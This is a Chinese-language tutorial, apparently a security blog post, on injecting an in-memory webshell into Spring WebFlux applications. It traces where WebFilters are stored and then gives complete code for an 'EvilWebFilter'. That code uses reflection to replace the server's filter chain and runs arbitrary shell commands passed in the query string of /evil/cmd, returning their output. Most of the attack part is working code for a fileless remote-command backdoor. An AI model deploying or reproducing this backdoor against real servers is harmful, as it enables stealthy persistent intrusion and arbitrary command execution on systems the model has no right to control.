Spring MemoryShell Of WebFlux

前言

Spring框架中包含的原始Web框架Spring Web MVC是专门为Servlet API和Servlet容器构建的。响应式堆栈Web框架Spring WebFlux是在5.0版本中添加的,它完全非阻塞,支持Reactive Streams背压,运行在Netty、Undertow、Servlet容器等服务器上,它不依赖Servlet-API,但是同样具有Filter,即WebFilter。

WebFlux型内存马也算是一个变相的Filter类型的内存马,依旧还是通过动态注册WebFilter及映射路由来实现的,但是它的filters并没有存放在常见的filter集合中。

环境搭建

新建一个SpringBoot项目,WEB选择Spring Reactive WEB。

image.png

  • 创建Handler类,用于请求处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.webfluxmemoryshell.index;

import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;

@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest request) {
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN)
.body(BodyInserters.fromValue("Hello Webflux!"));
}
}
  • 创建Controller类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.webfluxmemoryshell.index;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.RequestPredicates;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class GreetingRouter {

@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
}
}

image.png

过程分析

在GreetingHandler#hello方法中下断点,观察堆栈信息,发现org.springframework.web.reactive.DispatcherHandler#invokeHandler方法调用handle方法,根据URI分发处理handler。

image.png

image.png

由于WebFlux型内存马注入,依旧是需要动态注册一个Filter及映射路由,对于路由创建一般有两种方式:

  1. 通过提供的API进行调用,进而能够动态的创建内存马,例如Spring Controller型内存马,主要就是通过RequestMappingHandlerMapping#registerMapping方法进行动态的注册
  2. 通过反射的方法进行获取类似servlets/filters等存放servlet/filter的属性,之后将自定义的类添加进入这个属性中

这里可以利用工具Java-Object-Searcher来查看自定义的WebFilter在Thread的哪个位置,从而确定注入点,自定义一个如下的WebFilter,接着访问路由,观察自定义的WebFilter在Thread的哪个位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.webfluxmemoryshell.index;

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.util.ArrayList;
import java.util.List;

@Component
public class MyWebFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("MyWebFilter").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(15);
searcher.setReport_save_path("/Users/alphag0/Desktop/");
searcher.searchObject();
System.out.println("MyWebFilter.....");
return webFilterChain.filter(serverWebExchange);
}
}

先在MyWebFilter中下个断点,观察堆栈信息,发现是从DefaultWebFilterChain#invokeFilter方法中来获取自定义的WebFilter的,因此在前面对象搜索的结果中搜索关键词DefaultWebFilterChain,得到如下的结果,完整的获取到了filter储存的位置。

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [2] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>}
---> [0] = {com.example.webfluxmemoryshell.index.MyWebFilter}

从上文搜索结果中可以看到,所有filter都被储存在了chain属性里,然后chain属性是被存在FilteringWebHandler里面,要注入的话就得添加一个恶意的chain进去,至于为什么不添加一个Filter到allFilters属性中,可以参考从CVE-2022-22947到Spring WebFlux内存马与哥斯拉%3B-,Spring%20WebFilter%E5%86%85%E5%AD%98%E9%A9%AC,-%E5%89%8D%E9%9D%A2%E6%8F%90%E5%88%B0Controller)。

应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
package com.example.webfluxmemoryshell.index;

import org.springframework.boot.web.embedded.netty.NettyWebServer;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.server.WebHandler;
import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
import org.springframework.web.server.handler.FilteringWebHandler;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;

@Configuration
public class EvilWebFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
if (exchange.getRequest().getURI().getPath().startsWith("/evil/")) {
inject();
Flux<DataBuffer> response = getPost(exchange);
ServerHttpResponse serverHttpResponse = exchange.getResponse();
serverHttpResponse.getHeaders().setContentType(MediaType.TEXT_PLAIN);
return serverHttpResponse.writeWith(response);
} else {
return chain.filter(exchange);
}
}

public static void inject() {
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0", false);
ReactorHttpHandlerAdapter handler = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler", false);
Object httpHandler = getFieldValue(handler,"httpHandler", false);
HttpWebHandlerAdapter httpWebHandlerAdapter = (HttpWebHandlerAdapter) getFieldValue(httpHandler,"delegate", false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler = (ExceptionHandlingWebHandler) getFieldValue(httpWebHandlerAdapter,"delegate", true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler) getFieldValue(exceptionHandlingWebHandler,"delegate", true);
DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler,"chain", false);
List<WebFilter> allFilters = new ArrayList<>(defaultWebFilterChain.getFilters());
allFilters.add(0, new EvilWebFilter());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, allFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(filteringWebHandler, newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
}
}

} catch (Exception e) {
e.printStackTrace();
}
}

public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
Field f;
if(superClass){
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
}else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}

public Flux<DataBuffer> getPost(ServerWebExchange exchange) {
ServerHttpRequest request = exchange.getRequest();
String path = request.getURI().getPath();
String query = request.getURI().getQuery();

if (path.equals("/evil/cmd") && query != null && query.startsWith("command=")) {
String command = query.substring(8);
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
Process process = Runtime.getRuntime().exec(cmds);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
Flux<DataBuffer> response = Flux.create(sink -> {
try {
String line;
while ((line = reader.readLine()) != null) {
sink.next(DefaultDataBufferFactory.sharedInstance.wrap(line.getBytes(StandardCharsets.UTF_8)));
}
sink.complete();
} catch (Exception e) {}
});

exchange.getResponse().getHeaders().setContentType(MediaType.TEXT_PLAIN);
return response;
} catch (Exception e) {}
}
return Flux.empty();
}
}

image.png